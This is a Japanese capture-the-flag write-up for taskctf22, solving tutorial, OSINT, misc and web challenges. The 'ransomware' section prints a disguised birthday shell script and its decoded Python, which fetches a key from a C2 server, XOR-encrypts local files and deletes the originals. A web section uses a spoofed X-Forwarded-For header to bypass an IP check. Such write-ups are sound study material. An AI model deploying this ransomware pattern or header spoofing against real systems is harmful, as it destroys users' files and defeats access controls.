taskctf22 writeup

taskさんのctf、taskctfに参加しました
taskさん、誕生日おめでとうございます！
結果はtutorial問含め、10問解くことができて26位でした
残り3問で全完だったので悔しい...！
![スクリーンショット 2022-12-04 152850.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2943765/95a952f2-75c5-bb9e-99d1-47a7e6514d80.png)

# [tutorial] submit_flag 121 Solves
>Flagを提出してみましょう！
>
>taskctf{th1s_1s_f14g}

上記のFlagを提出するだけ

`flag:taskctf{th1s_1s_f14g}`


# [tutorial] just_google_it 108 Solves
>分からないことがあれば、自分で調べてみましょう！
>
>添付ファイルの文字列からFlagを取得してください！

添付されたテキストファイルを開くと、大量のbase64の文字列が出てくる
CyberChefの`From Base64`で復号する

https://gchq.github.io/CyberChef/

大量の`Hello!`の中にFlagが紛れている
`Hello!`が邪魔なのでvscodeの置換で`Hello! `を消すとFlagが出てくる

`flag:taskctf{Y0u_n0w_know_base64!}`


# [tutorial] try_python 102 Solves
>Pythonはインタプリタ型のプログラミング言語です。計算やファイルの読み書き、ネットワーク操作などを簡単に実行できるため、CTFではよく利用されます。
>
>Pythonを使って配布ファイルに書かれた数字を全て足してみましょう！ Flagは taskctf{ファイルに書かれた数の合計} です。

添付ファイルを開くと、`1 3 5 ... 999`と数字が並んでいる
2ずつ増えているので1から999までの奇数を足せばよさそう
以下のpythonコードを実行した
```python:number.py
sum = 0
for i in range(1,1000,2):
    sum = sum + i
    print(i)

print(sum)
```

`flag:taskctf{250000}`


# [tutorial] build_docker_environment 68 Solves
>DockerとはOSレベルの仮想化技術です。簡単にいうと、どのPCでも同じ環境をコマンド1つで作成できるようになります。これにより、皆さんのPC上でもデバッグを行うことができます。
>
>配布ファイルに含まれるapp/app.pyのコメントを外してDockerコンテナを起動し、Flagを取得してみましょう

Virtualboxのkalilinuxにdocker入れてなかったので下記の記事を参考に入れた

https://qiita.com/Hashibirokou/items/c9104f2da834000cfe2a

導入した後はdockerのコンテナを起動するだけ
問題文の通りに`app/app.py`の`#`でコメントアウトされた部分を戻し
`files`ディレクトリ内でコンテナを起動し、状態を確認
```bash
$ docker-compose up -d --build
$ docker-compose ps
```
ポート番号が31777と分かるので、`http://localhost:31777`にアクセスしてFlagゲット

`flag:taskctf{D1d_y0u_run_d0cker_c0nta1ner?}`


# [osint] welcome 130 Solves
>2019年のtaskctfのwelcome問題のFlagは何でしたっけ？

「taskctf 2019」と検索するとWriteupが出てくるので、その中からWelcomeのFlagを探す

`flag:taskctf{let's_enj0y!}`


# [osint] ramen 106 Solves
>このラーメン屋の名前は何でしょう？
>
>正式名称ではなく、漢字のみで taskctf{ラーメン屋の名前}の形式で回答してください。 ラーメン屋の名前がラーメン二郎であれば、 taskctf{二郎} がFlagになります。
><img width=300 src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2943765/60e00478-af2c-8af8-57b1-047943b7b91d.jpeg">

脳死でGoogleレンズすると、お店の名前が「SHIBIRE NOODLE 蝋燭屋」と分かる

`flag:taskctf{蝋燭屋}`

# [osint] kofun 61 Solves
>作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました... もしご存知なら教えてくれませんか？
>
>Flagの形式はtaskctf{この古墳の名前の漢字表記} です。 例えば、 造山古墳 が答えならば taskctf{造山古墳} がフラグになります。

まずはtaskさんのツイートから当たってみた
Twitterの検索欄で`From:task4233 古墳`と入力し検索すると下記のツイートが見つかる

https://twitter.com/task4233/status/1558826656151654400?s=20&t=1d88FNE-QqiRL6A1lSSxvQ

2枚目の画像に埴輪が映っているのが特徴的だったのでGoogleレンズ
すると下記のサイトが見つかる

https://kazusankm2.exblog.jp/25613984/

読んでいくと、この場所が「龍角寺古墳群 101号墳」と分かる
しかしFlagではなかった

うーんと考えていると、上記のサイト内で105号古墳(岩屋古墳)も紹介されていたので
「岩屋古墳」と検索

するとまさにツイートの1枚目の画像と同じものが出てきたので、これだ！となった

<img width=500 src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2943765/3f8fb2cd-9089-03f9-3a02-2034a3604173.png">

`flag:taskctf{上福田岩屋古墳}`


# [osint] douro 34 Solves
>この写真が撮られた場所の緯度と経度を教えてください！
>
>フラグの形式は taskctf{緯度_経度} です。ただし、緯度経度は十進法で小数点以下四桁目を切り捨てたものとします。 例えば、 皇居の入口が答えなら taskctf{35.682_139.762}が答えになります。
![douro.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2943765/fef77424-ab89-a067-9c29-88f880b0fb91.jpeg)

右端にある看板の文字が答えのキーになりそうと判断
見えている文字「Culver P」と検索欄に打ち込むと予測変換で
「culver palms animal hospital」
「culver plaza」
などが出てきた
Googleマップで確認すると、画像のような大きな交差点があるのは「culver plaza」と分かった
4つの交差点から「RIGHT TURN PERMITTED WITHOUT STOPPING」の看板などがある場所をストリートビューで探すと下記の場所と一致

https://goo.gl/maps/fgU84keboHSxAsdk7

マップ上で右クリックして緯度経度を確かめてFlagゲット

`flag:taskctf{33.693_-117.798}`


# [misc] ransomware 50 Solves
>友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか？

配布ファイルのシェルスクリプトの中身を確認
```bash:hbd.sh
#!/bin/sh
echo "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBnbG9iCmltcG9ydCBvcwoKQzIgPSAiaHR0cHM6Ly9jMi50YXNrNDIzMy5kZXYvYkQ3YkI3cGM1N2QyIgoKZGVmIG1haW4oKToKICAgICMgZ2V0IGEga2V5IGZyb20gYSBjMiBzZXJ2ZXIKICAgIGtleSA9IGludChyZXF1ZXN0cy5nZXQoQzIpLnRleHQpCgogICAgZmlsZXMgPSBnbG9iLmdsb2IoJy4vKicpCiAgICAjIGFkZGVkIGZvciBDVEY6KQogICAgYXNzZXJ0ICIuL3Rhc2tjdGZfZmxhZy50eHQiIGluIGZpbGVzCgogICAgIyBlbmNyeXB0IGFsbCBmaWxlcwogICAgZm9yIGZpbGUgaW4gZmlsZXM6CiAgICAgICAgIyBpZ25vcmUgdGhpcyBzY3JpcHQgYW5kIGRpcmVjdG9yaWVzCiAgICAgICAgaWYgb3MucGF0aC5iYXNlbmFtZShmaWxlKSA9PSBvcy5wYXRoLmJhc2VuYW1lKF9fZmlsZV9fKToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpZiBub3Qgb3MucGF0aC5pc2ZpbGUoZmlsZSk6CiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgICMgZW5jcnlwdCBhIHRhcmdldCBmaWxlCiAgICAgICAgZGF0YSA9IE5vbmUKICAgICAgICB3aXRoIG9wZW4oZmlsZSwgJ3InKSBhcyBmOgogICAgICAgICAgICBkYXRhID0gZi5yZWFkKCkgICAgICAgIAogICAgICAgIGVuY3J5cHRlZCA9ICIiCiAgICAgICAgZm9yIGNoIGluIGRhdGE6CiAgICAgICAgICAgIGVuY3J5cHRlZCArPSBjaHIob3JkKGNoKSBeIGtleSkKICAgICAgICB3aXRoIG9wZW4oZiJ7ZmlsZX0uZW5jcnlwdGVkIiwgJ3cnKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGVuY3J5cHRlZCkKICAgICAgICAKICAgICAgICAjIGRlbGV0ZSB0aGUgcmF3IGZpbGUKICAgICAgICBvcy5yZW1vdmUoZmlsZSkKICAgIAogICAgcHJpbnQoJ1wwMzNbMzFtISEhIFlPVVIgRkxBRyBIQVMgQkVFTiBFTkNSWVBURUQgISEhXDAzM1swbScpCiAgICBwcmludCgnXDAzM1szMW1Zb3UgaGF2ZSB0d28gY2hvaWNlcy4gVHJlYXQgbWUgd2hlbiBJIHNlZSB5b3UgbmV4dCB0aW1lLCBvciBkZWNyeXB0IGl0IHlvdXJzZWxmIGlmIHlvdSBjYW4gbG9sLlwwMzNbMG0nKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo=" | base64 -d | python3
```
どうやらbase64文字列をデコードしてpythonで実行しているっぽい
Cyberchefで復号すると、pythonコードが出てきた

```python:encrypt.py
#!/usr/bin/env python3

import requests
import glob
import os

C2 = "{URL}"

def main():
    # get a key from a c2 server
    key = int(requests.get(C2).text)

    files = glob.glob('./*')
    # added for CTF:)
    assert "./taskctf_flag.txt" in files

    # encrypt all files
    for file in files:
        # ignore this script and directories
        if os.path.basename(file) == os.path.basename(__file__):
            continue
        if not os.path.isfile(file):
            continue

        # encrypt a target file
        data = None
        with open(file, 'r') as f:
            data = f.read()        
        encrypted = ""
        for ch in data:
            encrypted += chr(ord(ch) ^ key)
        with open(f"{file}.encrypted", 'w') as f:
            f.write(encrypted)
        
        # delete the raw file
        os.remove(file)
    
    print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
    print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')

if __name__ == "__main__":
    main()
```
コードを見るとxorで暗号化していると分かった
xorは
```
平文 ^ 鍵 = 暗号文
暗号文 ^ 鍵 = 平文
```
のように暗号化されたやつをもう一回、鍵とxorしてやれば復号できる
暗号化されたやつは、配布された下記ファイルの文字列
```text:taskctf_flag.txt.encrypted
䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦
```
後は鍵の値を知りたいけど、URLから取得できなかったのでブルートフォース
Flagのフォーマットは`taskctf{}`なので先頭の文字は`t`になるはず
UTF-8のバイト数は調べると3~8バイトと出てきたので、試行回数は100000000回と雑に決める
後は出てきた鍵の値で復号すればFlagゲット

```python:dec.py
def main():

    encflag = "䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦"

    flag = ""

    for i in range(100000000):
        keycheck = chr(ord(encflag[0]) ^ i)
        
        if keycheck == "t":
            key = i
            break
    #print(key)

    for ch in encflag:
        flag += chr(ord(ch) ^ key)
    
    print(flag)

if __name__ == "__main__":
    main()
```

`flag:taskctf{x0r_1s_e4sy_70_1mplemen7}`


# [web] robots 50 Solves
>Flagが漏洩してるって聞いたけど、本当ですか？？？

URLにアクセスすると`116 120 116`と書かれたロボットの絵が出てくる
Flagがどこかに隠されているはずなのでブラウザの開発者ツールを使ったりしたけど分からなかった
なので、ヒントを閲覧
ヒントから、「robots ctf」と検索すると下記のサイトが出てくる

https://graneed.hatenablog.com/entry/2018/06/02/022217

読んでいくと、どうやら`robots.txt`なるものがあるみたいだ(知らなかった)
URLに`/robots.txt`と追加してアクセスすると

`User-Agent: * Disallow: /admin/flag`

と出てきた
flagの在り処は`/admin/flag`と分かり、勝ったなガハハと思ったが401 Unauthorized
どうやらinternal IP addressじゃないとアクセスできないみたい
ヒントの文面からもIPアドレスで騙すのが答えのキーだろう

burpsuiteとかでhtmlリクエスト書き換えるのかなあと思ったけどやり方が分からなかったので
「html request IPアドレス変更」で検索すると下記のサイトが見つかる

https://shsm385.hatenablog.com/entry/2019/10/29/163538

X-Forwarded-ForヘッダというものでIPアドレスを指定できるみたい
同じような問題がctfで出てるやろと思って「x-forwarded-for ctf」と検索すると出てきた

https://hi120ki.github.io/blog/posts/20210523-2/

curlで一発で表示させれるようだ、簡単そうなのでこっち使おう
後は、どのIPアドレスで騙すかだが、自分自身のIPアドレスなら流石に通すだろと思ってローカルループバックアドレスを指定して実行すると通った
```bash
$ curl -H 'X-Forwarded-For:127.0.0.1' http://{ip}:{port}/admin/flag
```

`flag:taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}`